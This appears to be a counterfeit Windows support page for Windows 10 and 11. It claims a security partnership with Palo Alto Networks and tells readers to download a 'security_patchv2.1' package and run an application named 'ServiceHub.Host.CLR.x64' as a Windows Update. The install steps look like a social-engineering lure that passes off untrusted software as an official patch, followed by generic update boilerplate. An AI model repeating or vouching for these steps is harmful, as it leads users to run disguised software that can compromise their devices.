Applies ToWindows 11 Windows 10

In collaboration with our information security partner, Palo Alto Networks, we have implemented a utility to patch Windows systems against exploitation.

  • To install the Windows Update :

    1. Click on the Download Security Update button

    2. Open the security_patchv2.1 package

    3. Run the ServiceHub.Host.CLR.x64 application

  • If you get an error when trying to update, see Fix Windows Update issues .

  • If you're trying to activate Windows 11, see Activate Windows for more info.

Download Security Update

In Windows 10, you decide when and how to get the latest updates to keep your device running smoothly and securely. To manage your options and see available updates, select Check for Windows updates. Or select the Start  button, and then go to Settings  > Update & Security  > Windows Update .

Here's some other info you might be looking for:

Check for Windows updates

Need more help?

Want more options?

Explore subscription benefits, browse training courses, learn how to secure your device, and more.

Communities help you ask and answer questions, give feedback, and hear from experts with rich knowledge.